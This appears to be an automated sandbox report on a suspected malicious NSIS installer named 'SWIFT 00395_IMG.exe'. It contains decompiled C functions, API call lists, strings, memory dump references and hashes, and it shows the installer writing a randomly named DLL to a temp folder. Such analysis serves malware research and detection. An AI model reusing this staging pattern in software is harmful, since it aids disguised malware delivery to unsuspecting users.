                                                                                    						L28:
                                                                                    						_t111 = GlobalAlloc(0x40, _v20);
                                                                                    						E00406756(0x40b870);
                                                                                    						E00405DF0( &_v300, "C:\\Users\\jones\\AppData\\Local\\Temp\\"); // executed
                                                                                    						_t62 = CreateFileA( &_v300, 0xc0000000, _t94, _t94, 2, 0x4000100, _t94); // executed
                                                                                    						 *0x40a01c = _t62;
                                                                                    						if(_t62 != 0xffffffff) {
                                                                                    							_t65 = E00403419( *0x424758 + 0x1c);
                                                                                    							 *0x41f90c = _t65;
                                                                                    							 *0x41f900 = _t65 - ( !_v40 & 0x00000004) + _v16 - 0x1c; // executed
                                                                                    							_t68 = E00403192(_v16, 0xffffffff, _t94, _t111, _v20); // executed
                                                                                    							if(_t68 == _v20) {
                                                                                    								 *0x424754 = _t111;
                                                                                    								 *0x42475c =  *_t111;
                                                                                    								if((_v40 & 0x00000001) != 0) {
                                                                                    									 *0x424760 =  *0x424760 + 1;
                                                                                    								}
                                                                                    								_t45 = _t111 + 0x44; // 0x44
                                                                                    								_t70 = _t45;
                                                                                    								_t102 = 8;
                                                                                    								do {
                                                                                    									_t70 = _t70 - 8;
                                                                                    									 *_t70 =  *_t70 + _t111;
                                                                                    									_t102 = _t102 - 1;
                                                                                    								} while (_t102 != 0);
                                                                                    								 *((intOrPtr*)(_t111 + 0x3c)) =  *0x41f8fc;
                                                                                    								E00405D7C(0x424780, _t111 + 4, 0x40);
                                                                                    								return 0;
                                                                                    							}
                                                                                    							goto L32;
                                                                                    						}
                                                                                    						return "Error writing temporary file. Make sure your temp folder is valid.";
                                                                                    					}
                                                                                    					E00403419( *0x41f8f8);
                                                                                    					if(E00403403( &_a4, 4) == 0 || _v8 != _a4) {
                                                                                    						goto L32;
                                                                                    					} else {
                                                                                    						goto L28;
                                                                                    					}
                                                                                    				} else {
                                                                                    					do {
                                                                                    						_t107 = _t110;
                                                                                    						asm("sbb eax, eax");
                                                                                    						_t82 = ( ~( *0x424758) & 0x00007e00) + 0x200;
                                                                                    						if(_t110 >= _t82) {
                                                                                    							_t107 = _t82;
                                                                                    						}
                                                                                    						if(E00403403(0x4178f8, _t107) == 0) {
                                                                                    							E00402E52(1);
                                                                                    							L32:
                                                                                    							return "Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
                                                                                    						}
                                                                                    						if( *0x424758 != 0) {
                                                                                    							if((_a4 & 0x00000002) == 0) {
                                                                                    								E00402E52(0);
                                                                                    							}
                                                                                    							goto L20;
                                                                                    						}
                                                                                    						E00405D7C( &_v40, 0x4178f8, 0x1c);
                                                                                    						_t89 = _v40;
                                                                                    						if((_t89 & 0xfffffff0) == 0 && _v36 == 0xdeadbeef && _v24 == 0x74736e49 && _v28 == 0x74666f73 && _v32 == 0x6c6c754e) {
                                                                                    							_a4 = _a4 | _t89;
                                                                                    							 *0x424800 =  *0x424800 | _a4 & 0x00000002;
                                                                                    							_t92 = _v16;
                                                                                    							 *0x424758 =  *0x41f8f8;
                                                                                    							if(_t92 > _t110) {
                                                                                    								goto L32;
                                                                                    							}
                                                                                    							if((_a4 & 0x00000008) != 0 || (_a4 & 0x00000004) == 0) {
                                                                                    								_v12 = _v12 + 1;
                                                                                    								_t110 = _t92 - 4;
                                                                                    								if(_t107 > _t110) {
                                                                                    									_t107 = _t110;
                                                                                    								}
                                                                                    								goto L20;
                                                                                    							} else {
                                                                                    								break;
                                                                                    							}
                                                                                    						}
                                                                                    						L20:
                                                                                    						if(_t110 <  *0x41f908) {
                                                                                    							_v8 = E004066E8(_v8, 0x4178f8, _t107);
                                                                                    						}
                                                                                    						 *0x41f8f8 =  *0x41f8f8 + _t107;
                                                                                    						_t110 = _t110 - _t107;
                                                                                    					} while (_t110 != 0);
                                                                                    					_t94 = 0;
                                                                                    					goto L24;
                                                                                    				}
                                                                                    			}



























                                                                                    0x00402efc
                                                                                    0x00402eff
                                                                                    0x00402f02
                                                                                    0x00402f1c
                                                                                    0x00402f21
                                                                                    0x00402f34
                                                                                    0x00402f39
                                                                                    0x00402f3f
                                                                                    0x00000000
                                                                                    0x00402f41
                                                                                    0x00402f52
                                                                                    0x00402f63
                                                                                    0x00402f6a
                                                                                    0x00402f72
                                                                                    0x00402f77
                                                                                    0x00402f79
                                                                                    0x00403064
                                                                                    0x00403066
                                                                                    0x00403072
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x0040307b
                                                                                    0x004030a7
                                                                                    0x004030b7
                                                                                    0x004030b9
                                                                                    0x004030ca
                                                                                    0x004030e5
                                                                                    0x004030ee
                                                                                    0x004030f3
                                                                                    0x00403112
                                                                                    0x00403122
                                                                                    0x00403134
                                                                                    0x00403139
                                                                                    0x00403141
                                                                                    0x0040314e
                                                                                    0x00403156
                                                                                    0x0040315b
                                                                                    0x0040315d
                                                                                    0x0040315d
                                                                                    0x00403165
                                                                                    0x00403165
                                                                                    0x00403168
                                                                                    0x00403169
                                                                                    0x00403169
                                                                                    0x0040316c
                                                                                    0x0040316e
                                                                                    0x0040316e
                                                                                    0x00403178
                                                                                    0x00403184
                                                                                    0x00000000
                                                                                    0x00403189
                                                                                    0x00000000
                                                                                    0x00403141
                                                                                    0x00000000
                                                                                    0x004030f5
                                                                                    0x00403083
                                                                                    0x00403095
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00402f7f
                                                                                    0x00402f84
                                                                                    0x00402f89
                                                                                    0x00402f8d
                                                                                    0x00402f94
                                                                                    0x00402f9b
                                                                                    0x00402f9d
                                                                                    0x00402f9d
                                                                                    0x00402fa8
                                                                                    0x00403101
                                                                                    0x00403143
                                                                                    0x00000000
                                                                                    0x00403143
                                                                                    0x00402fb5
                                                                                    0x00403035
                                                                                    0x00403039
                                                                                    0x0040303e
                                                                                    0x00000000
                                                                                    0x00403035
                                                                                    0x00402fbe
                                                                                    0x00402fc3
                                                                                    0x00402fcb
                                                                                    0x00402ff1
                                                                                    0x00403000
                                                                                    0x00403006
                                                                                    0x0040300b
                                                                                    0x00403011
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x0040301b
                                                                                    0x00403023
                                                                                    0x00403026
                                                                                    0x0040302b
                                                                                    0x0040302d
                                                                                    0x0040302d
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x0040301b
                                                                                    0x0040303f
                                                                                    0x00403045
                                                                                    0x00403051
                                                                                    0x00403051
                                                                                    0x00403054
                                                                                    0x0040305a
                                                                                    0x0040305a
                                                                                    0x00403062
                                                                                    0x00000000
                                                                                    0x00403062

                                                                                    APIs
                                                                                    • GetTickCount.KERNEL32 ref: 00402F05
                                                                                    • GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\SWIFT 00395_IMG.exe,00000400), ref: 00402F21
                                                                                      • Part of subcall function 00405DC1: GetFileAttributesA.KERNELBASE(00000003,00402F34,C:\Users\user\Desktop\SWIFT 00395_IMG.exe,80000000,00000003), ref: 00405DC5
                                                                                      • Part of subcall function 00405DC1: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405DE7
                                                                                    • GetFileSize.KERNEL32(00000000,00000000,0042C000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\SWIFT 00395_IMG.exe,C:\Users\user\Desktop\SWIFT 00395_IMG.exe,80000000,00000003), ref: 00402F6A
                                                                                    • GlobalAlloc.KERNEL32(00000040,0040A130), ref: 004030AC
                                                                                    Strings
                                                                                    • "C:\Users\user\Desktop\SWIFT 00395_IMG.exe" , xrefs: 00402EF1
                                                                                    • C:\Users\user\AppData\Local\Temp\, xrefs: 00402EFB, 004030C4
                                                                                    • soft, xrefs: 00402FDF
                                                                                    • Inst, xrefs: 00402FD6
                                                                                    • C:\Users\user\Desktop\SWIFT 00395_IMG.exe, xrefs: 00402F0B, 00402F1A, 00402F2E, 00402F4B
                                                                                    • Error writing temporary file. Make sure your temp folder is valid., xrefs: 004030F5
                                                                                    • Error launching installer, xrefs: 00402F41
                                                                                    • Null, xrefs: 00402FE8
                                                                                    • C:\Users\user\Desktop, xrefs: 00402F4C, 00402F51, 00402F57
                                                                                    • Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00403143
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
                                                                                    • String ID: "C:\Users\user\Desktop\SWIFT 00395_IMG.exe" $C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\SWIFT 00395_IMG.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
                                                                                    • API String ID: 2803837635-1404346224
                                                                                    • Opcode ID: ca76f8d495ce3895f444a46e92879b513e81ddc2aff1e21a5d111d80dade61e3
                                                                                    • Instruction ID: 41f98d992e8437d8d417f3691d947d8f632b5d0a71237712da2b0bb715ca9b84
                                                                                    • Opcode Fuzzy Hash: ca76f8d495ce3895f444a46e92879b513e81ddc2aff1e21a5d111d80dade61e3
                                                                                    • Instruction Fuzzy Hash: 1B71E131A00259ABDB20AF64DD85B9E3BACEB44355F20803BF911BA2D1C77C9E418B5C
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 77%
                                                                                    			E00401759(FILETIME* __ebx, void* __eflags) {
                                                                                    				void* _t33;
                                                                                    				void* _t41;
                                                                                    				void* _t43;
                                                                                    				FILETIME* _t49;
                                                                                    				FILETIME* _t62;
                                                                                    				void* _t64;
                                                                                    				signed int _t70;
                                                                                    				FILETIME* _t71;
                                                                                    				FILETIME* _t75;
                                                                                    				signed int _t77;
                                                                                    				void* _t80;
                                                                                    				CHAR* _t82;
                                                                                    				CHAR* _t83;
                                                                                    				void* _t85;
                                                                                    
                                                                                    				_t75 = __ebx;
                                                                                    				_t82 = E00402BCE(0x31);
                                                                                    				 *(_t85 - 8) = _t82;
                                                                                    				 *(_t85 + 8) =  *(_t85 - 0x28) & 0x00000007;
                                                                                    				_t33 = E00405C2D(_t82);
                                                                                    				_push(_t82);
                                                                                    				_t83 = "uvlcopdlxoed";
                                                                                    				if(_t33 == 0) {
                                                                                    					lstrcatA(E00405BC0(E00406228(_t83, "C:\\Users\\jones\\AppData\\Local\\Temp")), ??);
                                                                                    				} else {
                                                                                    					E00406228();
                                                                                    				}
                                                                                    				E00406503(_t83);
                                                                                    				while(1) {
                                                                                    					__eflags =  *(_t85 + 8) - 3;
                                                                                    					if( *(_t85 + 8) >= 3) {
                                                                                    						_t64 = E0040659C(_t83);
                                                                                    						_t77 = 0;
                                                                                    						__eflags = _t64 - _t75;
                                                                                    						if(_t64 != _t75) {
                                                                                    							_t71 = _t64 + 0x14;
                                                                                    							__eflags = _t71;
                                                                                    							_t77 = CompareFileTime(_t71, _t85 - 0x1c);
                                                                                    						}
                                                                                    						asm("sbb eax, eax");
                                                                                    						_t70 =  ~(( *(_t85 + 8) + 0xfffffffd | 0x80000000) & _t77) + 1;
                                                                                    						__eflags = _t70;
                                                                                    						 *(_t85 + 8) = _t70;
                                                                                    					}
                                                                                    					__eflags =  *(_t85 + 8) - _t75;
                                                                                    					if( *(_t85 + 8) == _t75) {
                                                                                    						E00405D9C(_t83);
                                                                                    					}
                                                                                    					__eflags =  *(_t85 + 8) - 1;
                                                                                    					_t41 = E00405DC1(_t83, 0x40000000, (0 |  *(_t85 + 8) != 0x00000001) + 1);
                                                                                    					__eflags = _t41 - 0xffffffff;
                                                                                    					 *(_t85 - 0xc) = _t41;
                                                                                    					if(_t41 != 0xffffffff) {
                                                                                    						break;
                                                                                    					}
                                                                                    					__eflags =  *(_t85 + 8) - _t75;
                                                                                    					if( *(_t85 + 8) != _t75) {
                                                                                    						E0040534F(0xffffffe2,  *(_t85 - 8));
                                                                                    						__eflags =  *(_t85 + 8) - 2;
                                                                                    						if(__eflags == 0) {
                                                                                    							 *((intOrPtr*)(_t85 - 4)) = 1;
                                                                                    						}
                                                                                    						L31:
                                                                                    						 *0x4247e8 =  *0x4247e8 +  *((intOrPtr*)(_t85 - 4));
                                                                                    						__eflags =  *0x4247e8;
                                                                                    						goto L32;
                                                                                    					} else {
                                                                                    						E00406228(0x40ac20, 0x425000);
                                                                                    						E00406228(0x425000, _t83);
                                                                                    						E004062BB(_t75, 0x40ac20, _t83, "C:\Users\jones\AppData\Local\Temp\nspD9BF.tmp\3bypcf8qb.dll",  *((intOrPtr*)(_t85 - 0x14)));
                                                                                    						E00406228(0x425000, 0x40ac20);
                                                                                    						_t62 = E00405944("C:\Users\jones\AppData\Local\Temp\nspD9BF.tmp\3bypcf8qb.dll",  *(_t85 - 0x28) >> 3) - 4;
                                                                                    						__eflags = _t62;
                                                                                    						if(_t62 == 0) {
                                                                                    							continue;
                                                                                    						} else {
                                                                                    							__eflags = _t62 == 1;
                                                                                    							if(_t62 == 1) {
                                                                                    								 *0x4247e8 =  &( *0x4247e8->dwLowDateTime);
                                                                                    								L32:
                                                                                    								_t49 = 0;
                                                                                    								__eflags = 0;
                                                                                    							} else {
                                                                                    								_push(_t83);
                                                                                    								_push(0xfffffffa);
                                                                                    								E0040534F();
                                                                                    								L29:
                                                                                    								_t49 = 0x7fffffff;
                                                                                    							}
                                                                                    						}
                                                                                    					}
                                                                                    					L33:
                                                                                    					return _t49;
                                                                                    				}
                                                                                    				E0040534F(0xffffffea,  *(_t85 - 8));
                                                                                    				 *0x424814 =  *0x424814 + 1;
                                                                                    				_t43 = E00403192(_t77,  *((intOrPtr*)(_t85 - 0x20)),  *(_t85 - 0xc), _t75, _t75); // executed
                                                                                    				 *0x424814 =  *0x424814 - 1;
                                                                                    				__eflags =  *(_t85 - 0x1c) - 0xffffffff;
                                                                                    				_t80 = _t43;
                                                                                    				if( *(_t85 - 0x1c) != 0xffffffff) {
                                                                                    					L22:
                                                                                    					SetFileTime( *(_t85 - 0xc), _t85 - 0x1c, _t75, _t85 - 0x1c); // executed
                                                                                    				} else {
                                                                                    					__eflags =  *((intOrPtr*)(_t85 - 0x18)) - 0xffffffff;
                                                                                    					if( *((intOrPtr*)(_t85 - 0x18)) != 0xffffffff) {
                                                                                    						goto L22;
                                                                                    					}
                                                                                    				}
                                                                                    				FindCloseChangeNotification( *(_t85 - 0xc)); // executed
                                                                                    				__eflags = _t80 - _t75;
                                                                                    				if(_t80 >= _t75) {
                                                                                    					goto L31;
                                                                                    				} else {
                                                                                    					__eflags = _t80 - 0xfffffffe;
                                                                                    					if(_t80 != 0xfffffffe) {
                                                                                    						E004062BB(_t75, _t80, _t83, _t83, 0xffffffee);
                                                                                    					} else {
                                                                                    						E004062BB(_t75, _t80, _t83, _t83, 0xffffffe9);
                                                                                    						lstrcatA(_t83,  *(_t85 - 8));
                                                                                    					}
                                                                                    					_push(0x200010);
                                                                                    					_push(_t83);
                                                                                    					E00405944();
                                                                                    					goto L29;
                                                                                    				}
                                                                                    				goto L33;
                                                                                    			}

















                                                                                    0x00401759
                                                                                    0x00401760
                                                                                    0x00401769
                                                                                    0x0040176c
                                                                                    0x0040176f
                                                                                    0x00401774
                                                                                    0x00401775
                                                                                    0x0040177c
                                                                                    0x00401798
                                                                                    0x0040177e
                                                                                    0x0040177f
                                                                                    0x0040177f
                                                                                    0x0040179e
                                                                                    0x004017a8
                                                                                    0x004017a8
                                                                                    0x004017ac
                                                                                    0x004017af
                                                                                    0x004017b4
                                                                                    0x004017b6
                                                                                    0x004017b8
                                                                                    0x004017bd
                                                                                    0x004017bd
                                                                                    0x004017c8
                                                                                    0x004017c8
                                                                                    0x004017d9
                                                                                    0x004017db
                                                                                    0x004017db
                                                                                    0x004017dc
                                                                                    0x004017dc
                                                                                    0x004017df
                                                                                    0x004017e2
                                                                                    0x004017e5
                                                                                    0x004017e5
                                                                                    0x004017ec
                                                                                    0x004017fb
                                                                                    0x00401800
                                                                                    0x00401803
                                                                                    0x00401806
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00401808
                                                                                    0x0040180b
                                                                                    0x00401865
                                                                                    0x0040186a
                                                                                    0x004015b0
                                                                                    0x004027bf
                                                                                    0x004027bf
                                                                                    0x00402a5a
                                                                                    0x00402a5d
                                                                                    0x00402a5d
                                                                                    0x00000000
                                                                                    0x0040180d
                                                                                    0x00401813
                                                                                    0x0040181e
                                                                                    0x0040182b
                                                                                    0x00401836
                                                                                    0x0040184c
                                                                                    0x0040184c
                                                                                    0x0040184f
                                                                                    0x00000000
                                                                                    0x00401855
                                                                                    0x00401855
                                                                                    0x00401856
                                                                                    0x00401873
                                                                                    0x00402a63
                                                                                    0x00402a63
                                                                                    0x00402a63
                                                                                    0x00401858
                                                                                    0x00401858
                                                                                    0x00401859
                                                                                    0x00401492
                                                                                    0x00402387
                                                                                    0x00402387
                                                                                    0x00402387
                                                                                    0x00401856
                                                                                    0x0040184f
                                                                                    0x00402a65
                                                                                    0x00402a69
                                                                                    0x00402a69
                                                                                    0x00401883
                                                                                    0x00401888
                                                                                    0x00401896
                                                                                    0x0040189b
                                                                                    0x004018a1
                                                                                    0x004018a5
                                                                                    0x004018a7
                                                                                    0x004018af
                                                                                    0x004018bb
                                                                                    0x004018a9
                                                                                    0x004018a9
                                                                                    0x004018ad
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004018ad
                                                                                    0x004018c4
                                                                                    0x004018ca
                                                                                    0x004018cc
                                                                                    0x00000000
                                                                                    0x004018d2
                                                                                    0x004018d2
                                                                                    0x004018d5
                                                                                    0x004018ed
                                                                                    0x004018d7
                                                                                    0x004018da
                                                                                    0x004018e3
                                                                                    0x004018e3
                                                                                    0x004018f2
                                                                                    0x004018f7
                                                                                    0x00402382
                                                                                    0x00000000
                                                                                    0x00402382
                                                                                    0x00000000

                                                                                    APIs
                                                                                    • lstrcatA.KERNEL32(00000000,00000000,uvlcopdlxoed,C:\Users\user\AppData\Local\Temp,00000000,00000000,00000031), ref: 00401798
                                                                                    • CompareFileTime.KERNEL32(-00000014,?,uvlcopdlxoed,uvlcopdlxoed,00000000,00000000,uvlcopdlxoed,C:\Users\user\AppData\Local\Temp,00000000,00000000,00000031), ref: 004017C2
                                                                                      • Part of subcall function 00406228: lstrcpynA.KERNEL32(?,?,00000400,00403533,00423F40,NSIS Error,?,00000007,00000009,0000000B), ref: 00406235
                                                                                      • Part of subcall function 0040534F: lstrlenA.KERNEL32(00420530,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EC9,00000000,?), ref: 00405388
                                                                                      • Part of subcall function 0040534F: lstrlenA.KERNEL32(00402EC9,00420530,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EC9,00000000), ref: 00405398
                                                                                      • Part of subcall function 0040534F: lstrcatA.KERNEL32(00420530,00402EC9,00402EC9,00420530,00000000,00000000,00000000), ref: 004053AB
                                                                                      • Part of subcall function 0040534F: SetWindowTextA.USER32(00420530,00420530), ref: 004053BD
                                                                                      • Part of subcall function 0040534F: SendMessageA.USER32 ref: 004053E3
                                                                                      • Part of subcall function 0040534F: SendMessageA.USER32 ref: 004053FD
                                                                                      • Part of subcall function 0040534F: SendMessageA.USER32 ref: 0040540B
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
                                                                                    • String ID: C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\nspD9BF.tmp\3bypcf8qb.dll$uvlcopdlxoed
                                                                                    • API String ID: 1941528284-1855791014
                                                                                    • Opcode ID: ebc504ea436e693e663a4b144fd74c24bb863413e05106ae1afc4e96b16114fd
                                                                                    • Instruction ID: 94ce822b9f6a6483fb8de35dc0b51f709499be211a85e0d844596cfba341e8bc
                                                                                    • Opcode Fuzzy Hash: ebc504ea436e693e663a4b144fd74c24bb863413e05106ae1afc4e96b16114fd
                                                                                    • Instruction Fuzzy Hash: 0541B931900515BACF107BB5DC45EAF7AB8DF05369B60863FF422B11E1CA7C8A528A6D
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    • VirtualAlloc.KERNELBASE(00000000,1C200000,00003000,00000004,?,050A26AF,00000000), ref: 022C1646
                                                                                    • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 022C16A5
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.665071219.00000000022C0000.00000040.00000001.sdmp, Offset: 022C0000, based on PE: false
                                                                                    Similarity
                                                                                    • API ID: AllocCreateFileVirtual
                                                                                    • String ID: cf18aed23b934d038c26ebcbecdc16c1
                                                                                    • API String ID: 1475775534-1354282428
                                                                                    • Opcode ID: ba71db8019666668759bfe8d0b1486734d5fae69871f41c5a27f4ce19b9c306e
                                                                                    • Instruction ID: 7b900ab4340d1b1fd719c9accb29462fd4ad04a84013ffcd9e0087a8ef1ce56e
                                                                                    • Opcode Fuzzy Hash: ba71db8019666668759bfe8d0b1486734d5fae69871f41c5a27f4ce19b9c306e
                                                                                    • Instruction Fuzzy Hash: 01E15C31D54388EDEF61DBE4DC06BEDBBB6AF04B10F20419AE608FA191D7B10A94DB15
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    • CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,00000000,55E38B1F,00000000,050A26AF,00000000,D6EB2188,00000000,433A3842), ref: 022C0944
                                                                                    • VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?), ref: 022C0B11
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.665071219.00000000022C0000.00000040.00000001.sdmp, Offset: 022C0000, based on PE: false
                                                                                    Similarity
                                                                                    • API ID: CreateFileFreeVirtual
                                                                                    • String ID:
                                                                                    • API String ID: 204039940-0
                                                                                    • Opcode ID: f1778f1a5e2cf445da44d1026ded875e9a6a1f786ca7fa1f345a74ab03a053e0
                                                                                    • Instruction ID: b626e2c33b1aacedba224bed3d11611f28e5bb01f9fff4fc2277e4ada6fa1960
                                                                                    • Opcode Fuzzy Hash: f1778f1a5e2cf445da44d1026ded875e9a6a1f786ca7fa1f345a74ab03a053e0
                                                                                    • Instruction Fuzzy Hash: C9A1F030D20209EFEF10CFE4C985BADBBB2BF08715F20465AE615BA2A5D3755A50DF14
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E00405815(CHAR* _a4) {
                                                                                    				struct _SECURITY_ATTRIBUTES _v16;
                                                                                    				struct _SECURITY_DESCRIPTOR _v36;
                                                                                    				int _t22;
                                                                                    				long _t23;
                                                                                    
                                                                                    				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
                                                                                    				_v36.Owner = 0x408384;
                                                                                    				_v36.Group = 0x408384;
                                                                                    				_v36.Sacl = _v36.Sacl & 0x00000000;
                                                                                    				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
                                                                                    				_v16.lpSecurityDescriptor =  &_v36;
                                                                                    				_v36.Revision = 1;
                                                                                    				_v36.Control = 4;
                                                                                    				_v36.Dacl = 0x408374;
                                                                                    				_v16.nLength = 0xc;
                                                                                    				_t22 = CreateDirectoryA(_a4,  &_v16); // executed
                                                                                    				if(_t22 != 0) {
                                                                                    					L1:
                                                                                    					return 0;
                                                                                    				}
                                                                                    				_t23 = GetLastError();
                                                                                    				if(_t23 == 0xb7) {
                                                                                    					if(SetFileSecurityA(_a4, 0x80000007,  &_v36) != 0) {
                                                                                    						goto L1;
                                                                                    					}
                                                                                    					return GetLastError();
                                                                                    				}
                                                                                    				return _t23;
                                                                                    			}







                                                                                    0x00405820
                                                                                    0x00405824
                                                                                    0x00405827
                                                                                    0x0040582d
                                                                                    0x00405831
                                                                                    0x00405835
                                                                                    0x0040583d
                                                                                    0x00405844
                                                                                    0x0040584a
                                                                                    0x00405851
                                                                                    0x00405858
                                                                                    0x00405860
                                                                                    0x00405862
                                                                                    0x00000000
                                                                                    0x00405862
                                                                                    0x0040586c
                                                                                    0x00405873
                                                                                    0x00405889
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x0040588b
                                                                                    0x0040588f

                                                                                    APIs
                                                                                    • CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405858
                                                                                    • GetLastError.KERNEL32 ref: 0040586C
                                                                                    • SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 00405881
                                                                                    • GetLastError.KERNEL32 ref: 0040588B
                                                                                    Strings
                                                                                    • C:\Users\user\AppData\Local\Temp\, xrefs: 0040583B
                                                                                    • C:\Users\user\Desktop, xrefs: 00405815
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: ErrorLast$CreateDirectoryFileSecurity
                                                                                    • String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop
                                                                                    • API String ID: 3449924974-2028306314
                                                                                    • Opcode ID: df2ca303ac227c9e0d0fbc5e27afd1aa0bff8a01fb2d8cf1edb312bec269ebc1
                                                                                    • Instruction ID: d6c2dc8a5c3265a730c97c9ba519fe28ff3708ad137b47d6a6340678ab851e8b
                                                                                    • Opcode Fuzzy Hash: df2ca303ac227c9e0d0fbc5e27afd1aa0bff8a01fb2d8cf1edb312bec269ebc1
                                                                                    • Instruction Fuzzy Hash: 60011A72D00219DADF10DFA1C944BEFBBB8EF04354F04803ADA45B6290E7789658CF99
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E004065C3(intOrPtr _a4) {
                                                                                    				char _v292;
                                                                                    				int _t10;
                                                                                    				struct HINSTANCE__* _t14;
                                                                                    				void* _t16;
                                                                                    				void* _t21;
                                                                                    
                                                                                    				_t10 = GetSystemDirectoryA( &_v292, 0x104);
                                                                                    				if(_t10 > 0x104) {
                                                                                    					_t10 = 0;
                                                                                    				}
                                                                                    				if(_t10 == 0 ||  *((char*)(_t21 + _t10 - 0x121)) == 0x5c) {
                                                                                    					_t16 = 1;
                                                                                    				} else {
                                                                                    					_t16 = 0;
                                                                                    				}
                                                                                    				_t5 = _t16 + 0x40a014; // 0x5c
                                                                                    				wsprintfA(_t21 + _t10 - 0x120, "%s%s.dll", _t5, _a4);
                                                                                    				_t14 = LoadLibraryExA( &_v292, 0, 8); // executed
                                                                                    				return _t14;
                                                                                    			}








                                                                                    0x004065da
                                                                                    0x004065e3
                                                                                    0x004065e5
                                                                                    0x004065e5
                                                                                    0x004065e9
                                                                                    0x004065fb
                                                                                    0x004065f5
                                                                                    0x004065f5
                                                                                    0x004065f5
